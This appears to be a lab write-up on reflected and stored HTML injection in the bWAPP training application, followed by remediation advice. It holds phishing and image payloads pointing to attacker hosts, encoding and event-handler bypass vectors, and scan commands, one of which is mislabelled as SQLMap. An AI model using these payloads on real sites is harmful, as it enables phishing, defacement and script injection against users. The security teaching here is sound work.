🧪 01 — HTML Injection (Reflected & Stored)

HTML Injection (Reflected & Stored)

OWASP: A03 - Injection | **CWE**: CWE-79 | **Severity**: 🟠 High

---

📖 Description

HTML Injection occurs when user-supplied input is rendered as raw HTML by the browser without proper sanitization. An attacker can inject malicious HTML tags to manipulate page content, redirect users, or perform phishing attacks. Unlike XSS, it doesn't require JavaScript execution — just HTML rendering.

Difference from XSS: HTML Injection injects HTML markup (like `<h1>`, `<img>`, `<a>`), while XSS injects executable scripts.

🔍 Affected Endpoint

```
http://localhost/bWAPP/htmli_get.php        (Reflected - GET)
http://localhost/bWAPP/htmli_post.php       (Reflected - POST)
http://localhost/bWAPP/htmli_stored.php     (Stored)
```

⚠️ Security Level: LOW

Behavior

No sanitization whatsoever. Input is directly reflected into the HTML page.

PoC — Reflected GET

```
URL: http://localhost/bWAPP/htmli_get.php?firstname=<h1>HACKED</h1>&lastname=<b>by Vedant</b>&form=submit
```

PoC — Reflected POST

```
Intercept POST with Burp Suite:
POST /bWAPP/htmli_post.php
firstname=<h1>Injected+HTML</h1>&lastname=test&form=submit
```

PoC — Phishing Payload

```
<a href="http://evil.com" style="font-size:30px;color:red">
Click here to claim prize!</a>
```

PoC — Image Injection

```
<img src="http://attacker.com/image.jpg" width="300">
```

PoC — Stored HTML Injection

```
Entry field: <marquee><h1 style="color:red">STORED INJECTION</h1></marquee>
```

This persists on the page and affects every user who loads it.

Evidence

```
✅ Page renders <h1>HACKED</h1> as a large heading
✅ Injected link redirects to attacker-controlled site
✅ Stored payload visible to all visitors
```

⚠️ Security Level: MEDIUM

Defense Applied

bWAPP applies `htmlspecialchars()` partially OR uses basic blacklisting.

Bypass Techniques

```
# Try encoding
%3Ch1%3EHACKED%3C/h1%3E

# Double encoding
%253Ch1%253EHACKED

# If blacklist is used (blocks <script> but not other tags)
<img src=x onerror=alert(1)>
<body onload=alert(1)>
```

PoC

```
firstname=%3Ch1%3EHello%3C%2Fh1%3E
```

If URL-decoded input is passed to HTML without re-encoding, the injection works.

⚠️ Security Level: HIGH

Defense Applied

Full `htmlspecialchars()` with ENT_QUOTES. All `<`, `>`, `"`, `'`, `&` are escaped.

Result

Injection is not possible at this level through standard vectors.

Residual Observation

```
Input: <h1>test</h1>
Output in source: &lt;h1&gt;test&lt;/h1&gt;
```

The browser displays the literal text `<h1>test</h1>` instead of rendering it as HTML.

🔎 Automated Scan

```
# OWASP ZAP active scan
zap-cli quick-scan --self-contained --start-options '-confi
g api.disablekey=true' http://localhost/bWAPP/htmli_get.php

# Manual SQLMap (for parameter discovery)
nmap --script http-form-brute -p 80 localhost
```

📊 Impact Analysis

Impact	Description
Phishing	Fake login forms injected into legitimate pages
Content Spoofing	Modify visible content to spread misinformation
Defacement	Change visual appearance of the application
Redirect	Redirect users to malicious sites

✅ Remediation

1. **Encode all output**: Use `htmlspecialchars($input, ENT_QUOTES, 'UTF-8')` in PHP
2. **Input Validation**: Whitelist expected characters (alphanumeric only where possible)
3. **Content Security Policy (CSP)**: Set CSP headers to restrict HTML rendering sources
4. **Use frameworks**: Modern frameworks like Laravel auto-escape by default
5. **Never trust user input**: Treat all input as malicious

```
// Secure code example
$firstname = htmlspecialchars($_GET['firstname'], ENT_QUOTE
S, 'UTF-8');
echo "Hello " . $firstname;
```

📚 References

- CWE-79: https://cwe.mitre.org/data/definitions/79.html
- OWASP HTML Injection: https://owasp.org/www-community/attacks/HTML_Injection
- OWASP Top 10 A03: https://owasp.org/Top10/A03_2021-Injection/